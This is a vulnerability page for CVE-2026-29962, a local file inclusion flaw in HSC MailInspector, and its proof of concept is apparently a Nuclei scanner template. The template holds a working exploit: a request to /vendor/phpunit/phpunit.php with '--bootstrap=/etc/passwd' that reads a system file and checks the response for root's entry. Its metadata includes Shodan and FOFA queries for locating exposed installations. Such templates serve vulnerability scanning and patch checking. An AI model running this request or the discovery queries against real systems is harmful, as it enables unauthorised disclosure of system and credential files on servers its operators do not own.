CVE-2026-29962: HSC MailInspector - Local File Inclusion

2026-09-16 Unknown PoC Public

Description

HSC MailInspector v5.3.3-7 contains a path traversal caused by improper control of user-supplied file paths in /vendor/phpunit/phpunit.php, letting remote attackers read arbitrary files, exploit requires crafted request.

PoC

id: CVE-2026-29962

info:
  name: HSC MailInspector - Local File Inclusion
  author: str4k3r
  severity: high
  description: |
    HSC MailInspector v5.3.3-7 contains a path traversal caused by improper control of user-supplied file paths in /vendor/phpunit/phpunit.php, letting remote attackers read arbitrary files, exploit requires crafted request.
  impact: |
    Remote attackers can read arbitrary files, potentially disclosing sensitive information from the system.
  remediation: |
    Update to the latest version.
  reference:
    - https://github.com/sql3t0/cve-disclosures/blob/main/01_-_CVE-2026-29962_LFI%2BPath_Traversal.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29962
  classification:
    cve-id: CVE-2026-29962
    epss-score: 0.01163
    epss-percentile: 0.65645
    cwe-id: CWE-73
    cvss-score: 7.5
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  metadata:
    verified: true
    max-request: 1
    vendor: hsclabs
    product: mailinspector
    shodan-query: http.html:"mailinspector"
    fofa-query: body="mailinspector"
  tags: cve,cve2026,mailinspector,php,phpunit,lfi

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/mailinspector"

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "/mailinspector/"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/mailinspector/vendor/phpunit/phpunit.php?--bootstrap=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "root:x:0:0:"
# digest: 4a0a004730450220476d8232ffbf2ac1982e5f1b967eb530acecc585669c4b9e1182e285a0e0b2ea022100a05e310d70b9a81b2d07c19e25f7f7d9df9257b8ade517c0e6bb7bad3eb3f0ed:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.